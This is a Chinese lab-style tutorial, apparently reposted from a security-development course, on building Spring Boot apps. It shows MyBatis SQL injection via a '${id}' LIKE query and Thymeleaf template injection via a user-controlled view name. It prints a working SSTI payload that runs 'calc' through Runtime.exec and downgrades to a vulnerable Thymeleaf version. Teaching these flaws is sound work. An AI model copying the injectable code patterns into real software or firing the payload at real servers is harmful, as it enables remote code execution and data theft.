038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版

这篇具有很好参考价值的文章主要介绍了038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

#知识点:

1、JavaEE-SpringBoot-WebAPP&路由
2、JavaEE-SpringBoot-Mybatis&注入
3、JavaEE-SpringBoot-Thymeleaf&SSTI

演示案例:

➢SpringBoot-Web应用-路由响应
➢SpringBoot-数据库应用-Mybatis
➢SpringBoot-模版引擎-Thymeleaf

Spring Boot是由Pivotal团队提供的一套开源框架,可以简化spring应用的创建及部署。它提供了丰富的Spring模块化支持,可以帮助开发者更轻松快捷地构建出企业级应用。Spring Boot通过自动配置功能,降低了复杂性,同时支持基于JVM的多种开源框架,可以缩短开发时间,使开发更加简单和高效

#SpringBoot-Web应用-路由响应

参考:https://springdoc.cn/spring-boot/

1、路由映射:

  • @RequestMapping, @GetMapping, 和 @PostMapping 注解用于定义HTTP请求的映射路径。
  • **@RequestMapping 是通用注解,而 @GetMapping@PostMapping 是其简化形式,分别用于处理GET和POST请求。**

2、参数传递:

  • @RequestParam 注解用于从HTTP请求中提取参数,使得控制器方法可以访问并使用这些参数。

3、数据响应:

  • @RestController 注解用于标识一个类是RESTful风格的控制器,它包含了 @ResponseBody@Controller 的功能。
  • @ResponseBody 表示方法的返回值将直接作为HTTP响应体返回给客户端。
  • @Controller 通常用于标识传统的MVC控制器,而 @RestController 更适用于RESTful风格的控制器。

创建SpringDemo项目

  • 修改服务器URL:https://start.aliyun.com(速度更快版本更稳定)
  • 选择Spring Web
  • 创建cn.wusuowei.springdemo.controller.IndexController
  • 代码如下
  • 以下是对 IndexController 类的分析:
    1. 注解说明:
      • @RestController 注解表示这是一个控制器类,专门用于处理RESTful请求,同时它也包含了 @ResponseBody@Controller 的功能。
      • 使用 @RequestMapping 注解指定了类中所有方法的基本路径,即这些方法的映射路径的前缀。
    2. GET请求处理:
      • getindex() 方法用于处理GET请求,映射路径是 “/xiaodiget”。
      • get_g() 方法用于处理GET请求,映射路径是 “/xiaodiget_g”,并且使用 @RequestParam 注解来接收名为 “name” 的参数。
    3. POST请求处理:
      • getpost() 方法用于处理POST请求,映射路径是 “/xiaodipost”。
      • get_p() 方法用于处理POST请求,映射路径同样是 “/xiaodiget_g”,并且同样使用 @RequestParam 注解来接收名为 “name” 的参数。
    4. 注解的简化形式:
      • 在注释中也提到了使用 @GetMapping@PostMapping 的简化形式,这两者分别等同于 @RequestMapping 中指定了请求方法的注解。
package cn.wusuowei.springdemo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;

@RestController
public class IndexController {

    // 指定GET请求的访问路由
    @RequestMapping(value = "/xiaodiget", method = RequestMethod.GET)
    //@GetMapping(value = "/xiaodiget")
    public String getindex() {
        return "get test";
    }

    // 指定POST请求的访问路由
    @RequestMapping(value = "/xiaodipost", method = RequestMethod.POST)
    //@PostMapping(value = "/xiaodipost")
    public String getpost() {
        return "post test";
    }

    // 指定GET请求的访问路由,带参数名name
    @RequestMapping(value = "/xiaodiget_g", method = RequestMethod.GET)
    //@GetMapping(value = "/xiaodiget")
    public String get_g(@RequestParam String name) {
        return "get test" + name;
    }

    // 指定POST请求的访问路由,带参数名name
    @RequestMapping(value = "/xiaodiget_g", method = RequestMethod.POST)
    //@GetMapping(value = "/xiaodiget_g")
    public String get_p(@RequestParam String name) {
        return "post test" + name;
    }
}

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

#SpringBoot-数据库应用-Mybatis

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

1、数据库先创建需操作的数据

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

2、项目添加Mybatis&数据库驱动

-pom.xml
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.2.2</version>
</dependency>
<dependency>
<groupId>com.mysql</groupId>
<artifactId>mysql-connector-j</artifactId>
<scope>runtime</scope>
</dependency>

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

3、项目配置数据库连接信息

-application.yml
spring:
datasource:
url: jdbc:mysql://localhost:3306/demo01
username: root
password: 123456
driver-class-name: com.mysql.cj.jdbc.Driver

4、创建User类用来操作数据库数据

package com.example.springbootmybatils.entity;

// 代表用户实体的实体类
public class User {
    private Integer id;
    private String username;
    private String password;

    public Integer getId() {
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    // 重写 toString() 以便于日志记录和调试
    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", username='" + username + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

5、创建Mapper动态接口代理类实现

package com.example.springbootmybatils.mapper;

import com.example.springbootmybatils.entity.User;
import org.apache.ibatis.annotations.Insert;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;

import java.util.List;

@Mapper
public interface UserMapper {

    // 根据提供的id选择所有用户的SQL查询
    @Select("select * from admin ")
    public List<User> findAll(Integer id);

    // 根据特定id选择所有用户的SQL查询
    @Select("select * from admin where id=1")
    public List<User> findID();
}

6、创建Controller实现Web访问调用

package com.example.springbootmybatils.controller;

import com.example.springbootmybatils.entity.User;
import com.example.springbootmybatils.mapper.UserMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.util.List;

@RestController
public class GetadminController {

    @Autowired
    private UserMapper UserMapper;

    // 根据用户id检索管理员数据的端点
   @GetMapping("/getadmin")
    public List<User> getadmindata(){
        List<User> all = UserMapper.findAll();
        return all;
    }

    @GetMapping("/getid")
    public List<User> getadminid(){
        List<User> all = UserMapper.findID();
        return all;
    }

}

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

遇到问题:8080端口被占用

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

解决方式:

  • netstat 命令用于显示网络连接、路由表和网络接口信息。在Windows系统上,findstr 用于搜索指定的字符串或文本模式。

    如果你想查找在本地机器上占用8080端口的进程,可以使用以下命令:

    **netstat -ano | findstr "8080"**
    

    这个命令的含义是:

    • netstat -ano:显示所有活动的网络连接和监听端口,以及相关的进程ID。
    • |:管道符,将前一个命令的输出传递给下一个命令。
    • findstr "8080":在前一个命令的输出中查找包含字符串 “8080” 的行。

    运行这个命令后,你应该能够看到占用8080端口的进程的信息,其中包括进程ID(PID)。

  • taskkill 命令用于终止正在运行的进程。在你的命令中,/F 参数表示强制终止进程,/PID 参数后面跟着的是进程的PID(进程标识符)。

    如果你想终止PID为10056的进程,你的命令是正确的。但请确保你有足够的权限来终止这个进程,因为使用 /F 参数将会强制终止它,可能导致数据丢失或其他问题。

    **taskkill /F /PID 10056**
    

    运行这个命令后,系统会尝试终止具有PID为10056的进程。如果进程存在,并且你有足够的权限,它将被强制终止。

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

遇到问题:If you want an embedded database (H2, HSQL or Derby), please put it on the classpath.(SpringBoot连接数据库)

原因:yml文件中的缩进问题

解决:将每一行的缩进调整好

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

安全危险:mybatis sql语句注入风险

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版,安全,java-ee,spring boot

@Mapper
public interface UserMapper {
    **@Select("select * from admin where id like '%${id}%'")**
    public List<User> findAll(Integer id);
@GetMapping("/getadmin")
    public List<User> getadmindata(@RequestParam Integer id){
        List<User> all = UserMapper.findAll(id);
        return all;
    }

#SpringBoot-模版引擎-Thymeleaf

-不安全的模版版本

Untitled

日常开发中:语言切换页面,主题更换等传参导致的SSTI注入安全问题
漏洞参考:https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg

1、创建ThyremeafDemo项目

Untitled

Untitled

2、使用模板渲染,必须在resources目录下创建templates存放html文件

Untitled

index.html

<!DOCTYPE html>
<html  xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body >
<span th:text="${data}">小迪安全</span>
</body>
</html>

test.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>xiaodi</title>
</head>
<body>
xiaodisec
</body>
</html>

3、创建Controller实现Web访问调用

//@Controller
@RestController
public class ThyremeafController {
    @RequestMapping(value = "/index")
    public String index(Model model) {
        model.addAttribute("data","hello xiaodi");
        //@RestController ResponseBody index当做字符串显示操作
        //Controller 没有ResponseBody index当做资源文件去渲染
        return "index";
    }

    @RequestMapping(value = "/test")
    public String index() {
        //@RestController ResponseBody index当做字符串显示操作
        //Controller 没有ResponseBody index当做资源文件去渲染
        return "test";
    }
遇到问题:路径访问并没有从模板渲染,而是当成字符串显示操作

Untitled

原因:@RestController包含了 @ResponseBody@Controller 的功能。@ResponseBody index当做字符串显示操作

解决方式:更换为@Controller 没有ResponseBody index当做资源文件去渲染

Untitled

安全问题:

日常开发中:语言切换页面,主题更换等传参导致的SSTI注入安全问题

例如:更换中英文页面模板

Untitled

Untitled

1. 创建如下的控制器实现Web访问调用,和渲染模板文件

ThyremeafController .java

@Controller
//@RestController
public class ThyremeafController {
    

    @RequestMapping(value = "/")
    public String index(@RequestParam String lang) {
        //@RestController ResponseBody index当做字符串显示操作
        //Controller 没有ResponseBody index当做资源文件去渲染
        return lang; //lang=en index-en
    }
    
}

index-en.html

<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

</body>
</html>

2. 启动项目,并输入对应路由访问,指向渲染文件的文件名?lang=index-en

http://127.0.0.1:8080/?lang=index-en

Untitled

3.替换为注入[127.0.0.1:8080/?lang= %7bnew java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()%7d__::.x](http://127.0.0.1:8080/?lang=__ %7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d::.x)发现报错

Untitled

原因:Thymeleaf版本问题

Untitled

4.替换pom.xml整个文件,到对应的漏洞版本再次注入

Untitled

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.springframework</groupId>
    <artifactId>java-spring-thymeleaf</artifactId>
    <version>1.0</version>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <!--latest-->
        <version>2.2.0.RELEASE</version>
    </parent>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>

    </dependencies>

    <properties>
        <java.version>1.8</java.version>
    </properties>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

成功注入:

Untitled

遇到问题:更换pom后,有很多报错

Untitled

解决:对应使用idea中错误解析,将报错的包一一添加类路径中即可

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled文章来源地址https://www.toymoban.com/news/detail-837461.html

到了这里,关于038-安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包